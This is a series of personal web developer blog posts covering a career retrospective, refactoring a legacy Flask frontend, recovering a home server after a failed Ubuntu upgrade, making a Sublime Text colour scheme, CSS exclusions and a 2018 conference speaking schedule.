Today marks the 5-year anniversary of my first role as a developer. I wrote 2 similar check-point posts previously, one in 2015, and one in 2017, so these checkpoint blog posts seem to occur every 500–700 days. Maybe.

I was never the type to keep a journal, so this blog is as close to a diary as I'll ever get. Between the time I wrote the last checkpoint post and now, lots of things have changed. At the time I was working with an incredible team and a fantastic boss, but due to management issues, the company is now defunct.

We're all still in touch and meet up fairly regularly. I'm also still working with aforementioned boss, Markus Kirchberg, on an entity called Wismut Labs.

When life gives you lemons…

With the team disbanding and the company shutting down operations in Singapore, the logical option was to find another job. But at the time, I had a reasonable amount of savings and really wanted some way to keep the team together, so I registered Wismut Labs Pte Ltd and together with Markus, we tried to get something going.

Unfortunately, we didn't take too many photos back then

Between Markus's proven expertise in data analytics and management, and my penchant for building web UIs on a short turnaround, we were positioned to provide consulting for firms looking to build data science teams or start data-related projects. Although we managed to meet with a number of potential clients, we were constantly dropped in favour of large firms. Nobody ever got fired for choosing IBM. 🤷

I did manage to pick up a couple of freelance projects to tide me over but by the end of the year, a regular salary looked quite enticing, so I took a full-time position at a local payments startup near where I lived. Even though I wasn't there for too long, I managed to accomplish quite a bit, including a complete rework of one of their product's frontend.

…be grateful to everyone who helps you make lemonade 🍋

In the meantime, I got invited to my first speaking engagement outside of Singapore by Charis Rooda for Webconf.asia, as well as had my first CFP acceptance for piterCSS, for the same topic (thank you, Vadim). I hadn't been much of a public speaker up till that point, I mean, hosting a meetup is different from standing on a conference stage, right?

But given my state of fun-employment for the bulk of 2017, I got the opportunity to do a lot of things that I probably wouldn't have been able to handle with a typical full-time job, like getting involved with the Chinese Language Requirements Task Force, writing a lot more articles, helping out with events like the Mozilla Developer Asia Roadshow, and travelling to speak at conferences.

On the road with these fine folks

All that travel allowed me to meet and hear from people I never otherwise would have in person. I made friends with developers from the Russian-speaking web community, chatted with developers who actually built browsers, as well as specification editors. Hearing perspectives from the various roles in tech was also very eye-opening for someone who hasn't been in this industry all that long.

Beginning a new role

I've been helped along by so many people, and this makes me want to pay it forward. As grateful as I am for the opportunities I've been afforded, I also want these opportunities to be available to people from my region and my community.

As of today, I'm one week into my new role with Nexmo on their Developer Relations team. Personally, I didn't even know what Developer Relations was until I met people in such roles while at conferences. After finding out what it was, I never thought it'd be a possibility for me because DevRel isn't really a thing in my region.

Hello from Nexmo

But through a series of fortunate events, I'm excited to be taking up this new role as a Developer Advocate. I might be rubbish at it, but I would be doing myself a disservice if I didn't give it a shot. One of the things I'll be doing is chronicling my journey as I learn more about DevRel, from a Southeast-asian perspective.

Not sure where I'll post those, maybe here, maybe on a separate site, but stay tuned for updates! 💃

Refactoring an inherited codebase

Mon, 27 Aug 2018 00:00:00 GMT

So for 2018, I got myself some gainful employment doing full-time frontend development work. You know, the kind where you go to an office, and have colleagues and bosses? Also, pay cheques and CPF (that's the Singapore equivalent of a retirement fund), love those. 💰💰💰

Anyhow, one of my responsibilities was to refactor and clean-up the frontend codebase for the company's existing products. It's not that I've never refactored codebases before, half my career was built on refactoring legacy projects, but these were a bit larger and messier than my previous projects. And note that I used the word products, with an ‘s’.

But first, some back-story.

Start-up founder has great idea.
Start-up founder throws together prototype with some interns to show potential clients
Potential clients become actual clients
Actual clients make feature requests
Interns add features the best they can
Product

I believe such a situation is far from uncommon, and pretty much every start-up you throw a stone at has some similar history. So I'm not throwing shade at my employer at all. In fact, I admire the fact that they executed a great idea with limited resources, and managed to on-board actual paying clients. Much kudos for that.

Assessing the situation

I was informed, before joining the organisation, that the code base needed work. Things worked, but under the hood, it was getting unmanageably messy with increased throughput and piling feature requests. And with that, I decided a general strategy was in order before any actual coding or refactoring was to take place. I thought a 3-phase approach could work for this instance.

General strategy and approach

By the end of my engagement, phase 3 was still quite far away because there were significant architectural changes required for the entirety of the application. But hey, phase 2 (clean-up) alone was already a significant endeavour.

I hadn't had much experience with Python applications prior to this, but I've come to realise that certain patterns are prevalent when it comes to web applications. The product that I had to tackle was built on Flask, and since I was hired for a frontend role, almost all my work took place exclusively in the static and templates folders. Almost.

# Structure of a basic Flask application
PROJECT_FOLDER/
    |-- yourapplication.py
    |-- static/
    |   `-- style.css
    `-- templates/
        |-- layout.html
        |-- index.html
        |-- login.html
        `-- …

Given that I was the first dedicated frontend role they ever hired, it was no surprise that the state of the project's frontend was, how shall we put this, left wanting. Apparently, the backend of things wasn't much prettier, but again, I doubt most start-ups have well-architected codebases until later on in their lifespan.

Preliminary site assessment

Before diving into the code proper, I did a basic click-around, to get an idea of the look and feel of the site, and what it did. To me, this was a pretty important step, because you can only encounter a site for the first time, once in your life. And I took notes. Notes on things that took me a while to figure out, places where I had to ask “hmmm, now what does this even mean?”, functionality that required extra cognitive effort to comprehend.

Not sure what those do…

As someone who has been building interfaces for a living over the past 5 years, believe me when I say, people who work on the product itself on a daily basis are the worst group to do user testing with. Because we interact with the product, bugs and all, way more frequently than normal users.

Hence, we inadvertently become blind to numerous usability issues simply because whatever we do to workaround the issue, has been committed to muscle memory. Even if it's something unintuitive, like having to click certain things in a specific sequence for it to work.

All of this was documented into a trusty spreadsheet. I don't know about you, but I'm rather fond of spreadsheets as an organisational tool. To me, it's the easiest way to organise data into useful information. But that's just me. You do you.

What can I say, I like spreadsheets

Site analysis with tools

The most basic analysis can be done via DevTools in any of the major browsers from the Network tab. It's more of a personal preference, but I prefer how Chrome and Firefox do it, where both of them tell you the number of requests, size of transfer, time it takes to finish loading, and when DOMContentLoaded is fired.

Hmmm, a bit on the heavy-side here

After working through the entire product, I came up to a total of 24 different pages, some ranging from pure textual content to others with a whole lot of business logic for creating complex rules and conditions. I tossed my findings into the aforementioned spreadsheet and ended up with the following statistics:

Average number of requests: 76
Average page weight: 6.017mb
Total number of external JS libraries: 49
Total number of external CSS files: 30

Chrome also has a nifty code coverage tool that gives you a general idea of how much redundant code is present in your application. Usually the biggest source of redundant code comes from external libraries, but sometimes this is inevitable, so it's necessary to look deeper than just the raw numbers themselves.

That's quite a lot of unused code

Evaluating audit results

It became clear that any attempt to refactor the code would take significantly more time and effort than I could afford with my one-woman team. I call this the one-brain-two-hands problem, i.e. Hui Jing only has 1 brain and 2 hands.

Data from the backend was being passed to the frontend via Jinja variables. On occasion, some of the variables were not simply raw data, but contained preformatted strings and values that made it tricky to change the way things were implemented.

This was painful to go through, to be honest

There was a large amount of inline JavaScript in the template files, where Jinja variables were directly called and used within JavaScript functions between <script> tags. That was a hard no for me, and I insisted on extracting all JavaScript into separate .js files and keeping the templates clean of inline styles and scripts.

Burn it down, build it up

To be honest, I wouldn't recommend this approach lightly. But given the circumstances, that:

it wasn't too large an application
there was no proper HTML structure at all
external libraries were outdated and installed inconsistently
the code was a hodgepodge of Jinja variables in inline scripts and inline styles and
there was the fact that my youth was slipping away,

I decided to rip out all the styles and scripts and rewrite them from scratch, only including external JavaScript libraries, like Moment.js and Chart.js, where necessary.

Although my team was comprised of my left hand and my right hand (and also my brain, a very important member of the team), I was reasonably confident I could pull this off because I can CSS faster than most developers I know, so the look-and-feel part of things wouldn't take me too long. From a UI functionality perspective, things didn't appear to be overly complicated.

Even so, it probably took 5 full man-months worth of effort to finish up the initial rewrite, housekeeping and documentation work. In the meantime, there were also demos to be built (for tradeshows and the like), as well as my own non-employer related commitments. So it's safe to say I kept busy for the past 8 months.

Function matching

I'd like to say there were functional requirements that I could refer to when doing the rewrite, but unfortunately, there were none. Or at least none that were updated to reflect how the product functioned in its current state. But if all was well, I wouldn't have gotten the job now, would I?

Plan B: run an instance of the application that tracked the current master release and match all observable functionality as I rewrote every page of the application. I would like to reiterate that this worked only because the application was of a manageable size to begin with.

Original on the left, rewrite on the right

This approach also flushed out a large number of implementation issues. for example, there were limited REST APIs by which to access information stored in the database, because the previous implementation used Jinja variables directly into inline JavaScript functions. See exhibit below:

<script>
  (function() {
    $(document).ready(function() {
      $('input[name="is_activated"]').bootstrapSwitch();

      var formData = {{ formData|tojson }};
      {% if name %}
      $("#rule_form_name_input").val(htmlTextToString("{{ name }}"));
      {% endif %}
      {% if description %}
      $("#comments-text").val(unescapeJs("{{ description|escapejs }}"));
      {% endif %}

      var editorHelpers = EditorHelpers();

      {% for field in fields %}editorHelpers.addSelectData("field", "{{ field['name']|safe }}", "{{ field['display_name']|safe }}", {{ field['filter_equivalence_classes']|tojson }});{% endfor %}
      {% for operator in operators %}editorHelpers.addSelectData("operator", "{{ operator['name']|safe }}", "{{ operator['display_name']|safe }}", {{ operator['filter_equivalence_classes']|tojson }});{% endfor %}
      {% for value in values %}editorHelpers.addSelectData("value", "{{ value['name']| replace('\r\n', ' ') }}", "{{ value['display_name']| replace('\r\n', ' ') }}", {{ value['filter_equivalence_classes']|tojson }});{% endfor %}

      if (formData!=null) {
        var formAlert = formData["alert"]
        if (formAlert) {
          editorHelpers.populateAllAlertData(formAlert);
        }
      }
      var groupObjs = [];
      /* Another 200 plus lines of this */
</script>

There was also several instances where the data passed to the frontend contained embedded markup, which sort of forced me to modify the Python application files to remove the unwanted pre-processing. So much for leaving the backend alone. ¯\_(ツ)_/¯

Re-evaluating site performance

When the smoke cleared, the statistics of the site were as follows:

Average number of requests: 30
Average page weight: 311kb
Total number of external JS libraries: 15
Total number of external CSS files: 4

A lot of the weight came from full-featured external libraries whose functionalities were barely used. A large amount of that was either replaced with lightweight alternatives or rewritten from scratch.

Loaded code from 5.1mb down to 291kb

The only external CSS loaded were for datepickers and datatables, and even those were customised to include only the relevant styles, so there were a lot of savings on the CSS side of things as well.

From 83 requests at 7.5mb down to 40 requests at 563kb, with room for improvement

As a preliminary assessment, this was a relatively good outcome. There is further room for improvement for a second-pass refactoring, both on the JavaScript side as well as the CSS side, but that portion of work will probably fall to the next person who takes over this project.

Wrapping up

The best analogy I had for this experience was swapping engines on the a flying plane. But I don't think such situations are an uncommon occurrence, especially in the world of start-ups. I did learn quite a lot from the experience (even picked up a little Python along the way), and not just from a coding perspective.

Paying off technical debt is not a trivial endeavour at all, and it highlights the importance of having a solid architecture in place before any lines of code are even written. As several experienced seniors have once advised me:

The best code is the code not written

Documentation appears to be another thing that takes a back-seat in start-ups, but the fact is that people will come and go. In an environment with a relatively high attrition rate, proper documentation and handover becomes even more critical to ensure continuity and consistency of the software you're building.

In an ideal world where unicorns shit rainbows, we wouldn't have to do such major rewrites or refactoring projects, however, given that every organisation has their own set of constraints, sometimes it is just an inevitable part of the product development process.

Here's to constant improvement, and may the code you write always be better than what you wrote yesterday. 🥃

So I mucked up my server last night

Fri, 24 Aug 2018 00:00:00 GMT

There are 2 kinds of people in the world, those who love the command line and those who don't. I fall into the former category. Because I was a MS-DOS baby (okay, probably 5 or 6 years old), who started my computing journey typing dir/p and deltree into that lovely white on black prompt trying to figure out how to run games.

Ah, nostalgia

P.S. don't arm a kid with deltree and leave them unsupervised.

Some people find it odd that a front-end developer, a CSS-lover no less, likes to play around with servers and sysadmin-related activities. I also enjoy building my own machines, sourcing for parts and all that. Stop categorising people into little boxes, I say.

The Ubuntu upgrade that went south

Anyway, I have a home-made low-powered NAS running under my desk which serves all my media files, and it was running Ubuntu 16.04 since I built it. But now that 18.04 has been out for a bit, I thought I'd do an upgrade last night.

In hindsight, it probably wasn't the best idea to run sudo do-release-upgrade at 9.30pm in the evening, but I'm not known for making good decisions. The issue with my server is that I've had this long-standing issue with mdadm whereby the package is broken but I cannot purge nor reinstall it.

Setting up mdadm (3.3-2ubuntu7.1) ...
dpkg: error processing package mdadm (--configure):
subprocess installed post-installation script returned error exit status 20
Errors were encountered while processing:
 mdadm
E: Sub-process /usr/bin/dpkg returned an error code (1)

Stack Overflow tried to help but to no avail, but given that I can still serve files off the server, I've left it alone. For more than 2 years. And now it sort of came back around to bite me on the ass, because this issue interrupted the upgrade process.

I wasn't sure what happened exactly but it seemed like the upgrade went along halfway but when I ran sudo apt-get update and sudo apt-get upgrade, after a reboot, there were loads of packages that needed to be updated, so I think the upgrade went through.

The shell problem

Unfortunately, my fish shell went haywire, not sure what happened there exactly, as it appeared there was some issue with my oh-my-fish installation broke as well. I thought removing and reinstalling the whole setup would help.

In hindsight, if I did it properly it probably would have. But I obviously did not. It was late. I wasn't thinking. But instead of removing the package via apt, I removed the entire /usr/bin/fish folder without setting default shell back to bash first.

And then, I logged out. 🤦‍♀️

I had effectively locked myself out of the server as the system got caught in a login loop and could no longer login via ssh anymore. Fortunately, I could directly access the server and login as root via safe boot.

What I learnt about recovery mode

There was some mild panicking when I couldn't see my default user's home directory. I thought the entire user somehow got wiped, but when I tried to recreate the user, it already existed.

Running cut -d: -f1 /etc/passwd showed that my user was still there, just that somehow /home was completely empty. I was under the incorrect assumption that every user's home directory was visible to root, but clearly I was very wrong.

It was only when I tried to login as my default user when I realised that deleting the /usr/bin/fish was a terrible idea. And the way to fix it was to change the default user's shell back to bash by editing the /etc/passwd file.

Unfortunately, I ran into this error:

cannot lock /etc/passwd; try again later.

ಠ_ಠ

Okay, to the Googlez once more. This time I came away with the command:

sudo mount -o remount, -rw /dev/sda1

Nothing actually happened when I ran this, which I figured was a good thing. Because when I tried to save my changes in the /etc/passwd file, it worked.

Wrapping up

This post was written more for myself than for anyone else, because I'm pretty sure I'll do something stupid like this again, and so I'll have something to refer to when I have to undertake similar recovery efforts.

¯\_(ツ)_/¯

TL:DR, don't do sysadmin stuff when you're half-asleep. Bad things can happen.

In spite of all the trouble, all is well in server-land again

Creating a custom sublime text colour scheme

Thu, 09 Aug 2018 00:00:00 GMT

First of all, British spelling. Now that's out of the way, I recently created a custom colour scheme for Sublime Text, and thought I'd write up a quick note for anyone who's interested in doing the same.

There are already thousands (I'm guessing) of colour schemes out there already, so if you have better things to do with your life than pick colours, then please, carry on. I personally loved CodePen's Oceanic Next dark theme but just couldn't find an existing theme that looked like it.

The original Oceanic Next theme by Dmitri Voronianski looks awesome, but somehow my files didn't turn out as colourful as they did in the screenshot. Probably has to do with the fact that it was optimised for babel-sublime? I dont know… ¯\_(ツ)_/¯

UI theme versus Colour Scheme

There are 2 parts to Sublime Text, the part where you do your work and write your code, and the part which is the user interface of Sublime Text itself, e.g. the sidebar, tabs etc.

Colour schemes apply to the work part, and determines the highlighting of source code and their resultant colours, stuff like classes, functions, libraries, constants, you name it. These schemes use the .tmTheme (legacy) format or the .sublime-color-scheme (new since build 3149) format. The legacy .tmTheme files utilise the XML format, while the newer .sublime-color-scheme files utilise JSON formatting.

UI themes have the .sublime-theme extension and is a JSON format which specifies rules for matching elements and modifying their appearance. Full documentation covers the various properties and elements that can be customised.

Why bother creating your own?

Excellent question. I briefly mentioned earlier that I was enamoured with CodePen's version of Oceanic Next, but couldn't find a comparable one anywhere.

Also, I had just purchased Phil Plückthun's excellent Dank Mono and wanted to figure out what to tweak to get my HTML attributes, comments and function arguments to display in italics.

Turns out, most search results are for finding and installing existing themes, but not too many articles talk about the actual creation process. Hmmm, I wonder why… (read in obnoxiously sarcastic tone) The best I could find was this 4-step article on Bobobobo's (AKA William Sherif) weblog on How to create a custom theme in Sublime Text 3.

Step 1: Creating the `.tmTheme` file

Why not use the newer file format? Again, excellent question. Well, turns out I did NOT read the docs before plunging head-first into this enterprise. And because there are way more colour schemes that use .tmTheme than .sublime-color-scheme, I assumed .tmTheme was the way to go.

Fun fact: only found out about .sublme-color-scheme when I attempted to figure out how to publish my theme to Package Control after some colleagues asked if they could have the theme too. 🤦‍♀️

Anyhoo, after poking around a bit more, I discovered the existence of tmTheme Editor, which is a handy online GUI for editing and generating .tmTheme files. Personally, I think that is a great way to get it done, but I did not use this lovely little web application.

Instead, I downloaded one of the .tmTheme files and proceeded to do the customisation directly via, who else, Sublime Text. There are general settings, and individual scope styles, and all the styles are <dict> elements nested in an <array> element.

Global settings determine the overall colours for the scheme, foreground, background and caret colour. Looks something like this:

<!-- Global settings -->
<dict>
  <key>settings</key>
  <dict>
    <key>background</key>
    <string>#222222</string>
    <key>foreground</key>
    <string>#EEEEEE</string>
    <key>caret</key>
    <string>#FFFFFF</string>
  </dict>
</dict>

Everything that follows are for individual scopes:

<!-- Scope styles -->
<dict>
  <key>name</key>
  <string>Comment</string>
  <key>scope</key>
  <string>comment</string>
  <key>settings</key>
  <dict>
    <key>foreground</key>
    <string>#888888</string>
  </dict>
</dict>
<dict>
  <key>name</key>
  <string>String</string>
  <key>scope</key>
  <string>string</string>
  <key>settings</key>
  <dict>
    <key>foreground</key>
    <string>#FFD500</string>
  </dict>
</dict>

Each scope style rule consists of a <dict> tag with 3 pairs of <key>/<string> tags for name, scope and settings, where the settings <dict> tag can contain <key> tags for foreground, background and fontStyle.

Don't be like me. Read the docs. They are excellent.

To figure out what .tmTheme files are all about, go to .tmTheme Color Schemes .
To figure out the minimal set of scopes to include in your theme, go to Usage in Color Schemes.
To figure out which scopes will style which tokens in a syntax, go to Scope Naming .

Step 2: Install your custom theme

Regardless if you're on a Mac or Windows machine, go to Preferences -> Browse packages… and this should bring up a Finder window, navigated to the Packages folder. If there is already a Themes folder in there, then chuck your .tmTheme file in there, otherwise, create one, then chuck your .tmTheme file in there.

Trigger the Command Palette by pressing Ctrl+Shift+P (on Windows) or Command+Shift+P (on Mac) and search for UI. Your top 2 results should be UI: Select Theme and UI: Select Color Scheme.

Choose UI: Select Color Scheme and you should be able to find your custom theme as one of the options.

Step 3: Share with friends

Some of my colleagues wanted to try out my theme too, and I could have just sent them the .tmTheme file, but then I got curious to how packages got onto Package Control to begin with. So again, read the docs. The Submitting a Package page is pretty comprehensive.

If you, like me, are simply interested in submitting a colour scheme, you could probably skip the bit about preparing your repository in there. The gist of it is:

Host the .tmTheme somewhere, it could be a public git repository or your own web server.
If you're going the git route, make sure to tag each release with the appropriate version. If you host your own, use semantic versioning in your package.json file
Fork the package control channel and clone it to your own machine. Add your theme to the appropriate file (it's alphabetically organised) in the package_control_folder
Install the ChannelRepositoryTools package via Package Control and run the tests. Make sure they pass.
Create a pull request and be patient.

I'm currently at the be patient part of the instructions, so hopefully my theme will eventually make it onto Package Control.

If you go the git repository route, feel free to write up a good README file, with screenshots and all. I'm going to make mine more comprehensive if it ever makes it to Package Control, and probably start porting it to the new file format.

My theme is called Prismatic, and is currently hosted on GitHub. If you use a font that supports cursive italics and ligatures, all the more fun. For me, at least. Font in the screenshot is Dank Mono.

Useful resources

CSS exclusions with Queen Bey

Mon, 30 Jul 2018 00:00:00 GMT

I recently came across a post by Ben Frain expressing his frustrations about CSS shapes and exclusions. And although I can see where he is coming from (he made that pretty clear in his examples), I would like to address the statement he made in his conclusion:

I don’t know what’s going on here. As an outsider, coming to these features fresh in 2018 this situation seems like a bit of a car crash.

Now I am definitely not an insider in any sense of the word. I do not work for any browser vendors, nor am I part of the CSS working group. But I am lucky enough to know people who fall into either or both of these camps, and from conversations with them, gotten a better understanding of what goes on behind the scenes.

It's not all unicorns and rainbows…

First of all, I do not disagree that the situation is not ideal. But I do disagree with the sentiment of “Why bother?”. In fact, let me share with you my thoughts on why bothering is a great thing. It is my sincere belief that a lot of frustration, sometimes amounting to anger, at CSS or browser behaviour in general, comes from a lack of understanding on how CSS features come into being.

So I would like everyone to indulge this request of mine, to watch Rachel Andrew's excellent talk from CSSConf.EU 2017 on where CSS comes from.

As Rachel says, it seems that there is an impression that browser vendors are locked in some battle about CSS. A legacy, from the days when browsers did compete on features. But today, all the browser vendors are in on it and working together on the specifications (and documentation).

Specifications can originate from browser vendors, other CSS user agents (e.g. ePUB), companies like Adobe or the CSS working group itself. A new feature may start off as a cool idea or a means to resolve an issue. Some of these ideas get consolidated into an editor's draft.

If a browser vendor came up with the spec, often they would put out an experimental implementation in their own browser, like a proof-of-concept, for web developers to try it out, flesh out requirements and address overlooked issues.

But the important thing to keep in mind is that browsers are just like any other software product. There are features to be added, bugs to be fixed. And guess who influences the priority of new features? Who do you think are the “clients” of browser vendors?

That's right, YOU are.

CSS needs YOU!

…but you can do something about it

We shouldn't shy away from using newer CSS features simply because they are buggy or not fully supported. With the advent of evergreen browsers, features and bug fixes get released much faster these days. So a feature that you really wanted in browser X may end up getting shipped a month or two later. Sounds good? This can only happen if we signal to browser vendors which features we really want.

Every browser engine has a pretty open process for raising bugs. I've linked the issue logs for the major browsers here:

If something doesn't work the same across browsers, odds are, it may be a browser bug. Rather than stew in frustration and throw that feature out of your project, raise a bug. Take action! If developers don't use features simply because they are buggy or not well supported, we're signalling to browser vendors that this feature isn't in demand.

Conversely, if we raise bugs, tweet about our issues, write blog posts and code up demos, we are raising awareness of a particular feature. And signalling to browser vendors to prioritise this feature, fix its bugs, implement it correctly, because we WANT TO USE IT.

If something isn't in the CSS specification but you think it'd be useful, consider raising a GitHub issue in the CSSWG repository, where all the working drafts are being developed. You can also get a better idea of how CSS specifications get hashed out by reading the various issue threads.

I'm glad Ben wrote out his frustrations about CSS shapes and exclusions. And I want more people to try it out and talk about how they would use shapes and exclusions in their projects if it worked properly across all browsers. The more use cases the better!

Okay, now let's talk about exclusions

I apologise for being slightly click-baity with the title, but how else would I get my point about becoming more involved in the future of the web without mentioning Beyoncé in the title? It's not entirely click-bait, however, because we are going to explore CSS exclusions, WITH some help from Beyoncé, of course.

CSS exclusions define arbitrary areas around which inline content can flow, and can be defined on any CSS block-level element. Exclusions can be considered more “powerful” than CSS shapes because they are not limited to floats only.

Basic terminology

An exclusion element is a block-level element which is not a float, and generates an exclusion box. An exclusion element establishes a new block formatting context.

An element becomes an exclusion when its wrap-flow property is computed to something other than its initial value of auto. When an element becomes an exclusion, inline content will wrap around the exclusion areas, but within their own formatting contexts.

Note that exclusions have to be positioned somehow, using any of the positioning schemes we currently have at our disposal. Except floats. IF you float an element, it will not become an exclusion. Otherwise, schemes like absolute positioning or CSS grid and so on, all work fine.

The `wrap-flow` property

There are 7 values for the wrap-flow property available to us at the moment, and they determine the area which inline-content flows around.

auto

No exclusion created. Proceed with life as normal.

both

Inline flow content can flow on all sides of the exclusion.

start

Inline flow content can only flow around the start edge of the exclusion area, but the end edge is a no-flow zone.

end

Inline flow content can only flow around the end edge of the exclusion area, but the start edge is a no-flow zone.

minimum

Inline flow content can only flow around the edge with less available space, and leave the other edge empty.

maximum

Inline flow content can only flow around the edge with more available space, and leave the other edge empty.

clear

Nothing flows along the start and end edge of the exclusion along the inline direction. ¯\\\_(ツ)_/¯

The `wrap-through` property

We can also control how the content which is supposed to flow around the exclusion behaves, with the wrap-through property. By setting a value of none, the content will flow through the exclusion, as if it wasn't there to begin with.

Green dashed line shows wrap-through:none while blue dashed line shows wrap-through:wrap

Here's my attempt at demonstrating the different values of wrap-flow and wrap-through via a recreation of an interview Beyoncé did with ELLE back in 2016 when launching her Ivy Park line (I think). If you would like to try building something with exclusions, you'll have to use either Edge or Internet Explorer 10 and up, and prefix the properties with -ms-.

See the Pen CSS exclusions demo by Chen Hui Jing (@huijing) on CodePen.

Also, here's the standalone demo, and source code on GitHub.

Support and fallbacks

If you had tried to view my CodePen or stand-alone demo in a browser other than Edge or Internet Explorer 10 and up, you'd have seen a little red message in the top right corner that said exclusions is not supported. And this was pretty much what Ben's frustrations were about.

I don't deny that this is a troublesome situation to be in, where you have Chrome, Safari and Opera supporting CSS shapes but not Exclusions, Edge supporting Exclusions but not CSS shapes, and Firefox which will only support CSS shapes after v62 comes out, but no Exclusions either.

Can I Use css-exclusions? Data on support for the css-exclusions feature across the major browsers from caniuse.com.

And if you're thinking, why on earth are we in such an awkward position with regards to Shapes and Exclusions? Trust me, I get it. I want my text to flow around BOTH of Beyoncé's elbows too. But unfortunately, it seems like there's no way to do this. YET.

But there's nothing stopping us from tossing in some CSS exclusions in our code right now, even if only Edge and Internet Explorer 10 and up users can see it. We can still deliver a nice, working layout for the other browsers with feature queries AKA @supports.

Here's a general idea of how you could structure your exclusions code with feature queries:

/* Code that works in all browsers */
.element {
  /* Fallback to a float-based layout */
}

@supports (-ms-wrap-flow: both) {
  .element {
    /* Reset floats and margins */
    /* Exclusions and positioning */
  }
}

If you look through the code for my Beyoncé article above, you'll see how the feature query is structured.

Tiny bit of history

As per my outsider understanding, CSS Shapes and Exclusions started out as a combined specification back in 2011. And back then the idea was to allow for CSS Exclusions and CSS Shapes to be used together to create sophisticated layouts, by letting content flow into and/or around shapes, even arbitrarily complex ones.

But the actual implementation of this idea is not straightforward at all. If you think about it, it's nice to have text flow within a shape, but what happens if the text is exceeds the amount of space available within the defined shape? Where would that extra content go?

I chatted with Jen Simmons about this issue before, and learned that shape-inside can't be defined until someone comes up with a solution that solves the use cases which CSS Regions was attempting to solve. And the current proposal for CSS Regions is not ideal and requires reworking.

Eventually, CSS Shapes and CSS Exclusions got split up into their own specifications, with the scope of CSS Shapes pruned further so that at least shape-outside could be shipped first.

Maybe if more people start writing up use cases, or talk and tweet about this, we could get things moving. Because, come on, just look at the general sentiment about this feature.

OMG, what are these signals we're sending?

Public scepticism?? Sigh.

And again, it boils down to priorities for browser vendors, because there's so much to be done, features like subgrid, initial-letter, column-span, bug fixes for flexbox and grid, the list is almost endless. But if enough of us are excited about exclusions and shapes, it's definitely possible to push this up the priority list.

Web standards need time

And when it comes to the specifications themselves, Bruce Lawson sums it up rather well in his article, Why are web standards so slow, when he says:

But if the CSS Working Group get it wrong, it'll be on the web–and pissing off web developers–for ever.

If you're still not convinced, here's another video that illustrates the amount of consideration that goes into crafting a specification, by Eric Meyer at CSS Day 2018.

And once a specification is hashed out, browser vendors have to consider how to implement the specification in their respective engines, and whether it's worth the effort to do it sooner than later.

Wrapping up

Long story short, try out all the new CSS features. Build demos, and play around with anything that seems remotely interesting. Even if that feature is in early stages, or only supported by 1 browser. And then talk about it, or write and tweet about your experience, your use cases, what you liked or disliked about it.

We can shape the web to what we want it to be, but only if we get involved. It takes all of us, from specification writers and the CSS working group, to all the browser vendors, to the rest of us who build stuff on the web.

Let's make this happen, my friends. 💪

Relevant reading

Poster font is by Enemy Sub by Lyle Zapato

Talking about talking CSS 2018 edition

Tue, 17 Jul 2018 00:00:00 GMT

Last year was the first time I spoke at any event outside of Singapore, and it was quite a whirlwind experience. I absolutely LOVED every minute of it, and did a recap of the Mozilla Developer Asia Roadshow where I met a lot of amazing and interesting people. So why not do it again for 2018?

My strategy for submitting call-for-proposals (CFPs) is: I have none. I try to submit whenever I see an open call, and hope for the best. I actually expect rejection most of the time because, let's be honest, it's a numbers game. Organisers receive hundreds, probably thousands of applications, and it's so hard to narrow it down to just a handful.

So whenever I get the rare, “Congratulations, your talk has been accepted” reply, I don't think twice and just say yes (let's ignore the fact I don't think much in general). Because I feel like if I don't say yes now, I will NEVER get the opportunity ever again.

I wrote a little bit about this last year after a conversation with my good friend, Aysha, that opportunities for speakers from Southeast-Asia aren't exactly falling out of the sky. And I can't put into words how appreciative I am to the various conference organisers for giving me the chance to speak at their events.

Which brings us to my conference schedule for 2018. We've established that I don't think very much before making decisions, which explains exactly how I ended up an exciting month of June (and possibly September). I'm not complaining though, because I'm having the time of my life. 😎

Talk.CSS max-content @ 🇸🇬 on 23 Jan
JSConf.Asia 2018 @ 🇸🇬 on 25 Jan
Mozilla Tech Briefing @ 🌐 on 15 Feb
Github Constellation @ 🇸🇬 on 26 Feb
Smashing Conference SF 2018 @ 🇺🇸 on 18 Apr
You Gotta Love Frontend Kyiv @ 🇺🇦 on 24 May
CSSconf EU 2018 @ 🇩🇪 on 01 Jun
CSS Day 2018 @ 🇳🇱 on 15 Jun
Web Directions Code @ 🇦🇺 on 02 Aug
Form Function Class 9 @ 🇵🇭 on 18 Aug
Refresh 2018 @ 🇪🇪 on 7 Sep
Tech Speakers Meetup @ 🇫🇷 on 14 Sep
W3C Workshop on Digital Publication Layout and Presentation @ 🇯🇵 on 18 Sep
CSS-Minsk-JS @ 🇧🇾 on 21 Sep
View Source 2018 @ 🇬🇧 on 26 Oct
beyond tellerrand 2018 @ 🇩🇪 on 06 Nov
deTECH Conference 2018 @ 🇲🇾 on 15 Nov
MozKopdar JKT Dec 2018 @ 🇮🇩 on 16 Dec

🇸🇬 @ Talk.CSS max-content

We can look at Talk.CSS max-content either as an expanded meet-up or a mini-conference, two sides of the same oreo. This was the first time Talk.CSS sold tickets because we were flying in a speaker from Australia, giving out some swag and putting up some semblance of promotional material.

Okay, it was 2 banners, stop judging.

Although this year's format for JSConf.Asia involved folding in all the CSS talks into the 3-day extravaganza, we still wanted a sort of CSS-themed event, so by the power of relationships (mostly those of my co-organiser, Chris Lienert), we managed to get 2 fabulous speakers all the way from Australia, Mandy Michael and Andy Clarke.

Still amazed we managed to pull it off

I closed the event with my first sort-of non-technical talk, which was basically a love letter to the web. But overall, it was a surprisingly successful event. Full write-up here.

🇸🇬 @ JSConf.Asia 2018

Ah, the conference that started it all. I first attended CSSConf.Asia in 2014, and it was such an experience. I hadn't started speaking yet, but the thought of being on stage did cross my mind. This is my fourth year being involved with CSSConf.Asia/JSConf.Asia in some capacity, and I hope this streak continues on.

First conference talk of 2018! This is the talk that sent me around the world, it's about vertical writing on the web. I'm very grateful that a number of conference organisers decided to pick it up and let me do this talk in front of audiences around the world.

Doing this talk in front of a “home” crowd felt a bit special, though. As usual, before the talk, I'm on conference duty, manning the T-shirt booth but somehow ended up surrounded with boxes of bottled water.

water.js?

It's a known fact that I don't adult in general, but sometimes there are exceptions, like when I have to go on stage. Because even I, have standards. I think I got a few double-takes when walking back into the theatre, like “wait, wasn't that the angry t-shirt booth lady?” (there's a story to the ‘angry’ bit, ask me about it, if you like). 🤷

Costume change after lunch

This being the second time I've ever been on stage at the Capitol Theatre, I already knew what it would feel like. The spotlight made it nearly impossible to see the audience, and I found this rather amusing because it felt like I was talking to myself. 🤣

I was told I looked professional, which is hilarious, but I have since decided to call my on-stage apparel choices “Cinderella mode”, because it only lasts all of 3 seconds before I revert to “Pumpkin mode”, which is what all my friends see all the time. See exhibit below:

Aren't all workshops run from the floor?

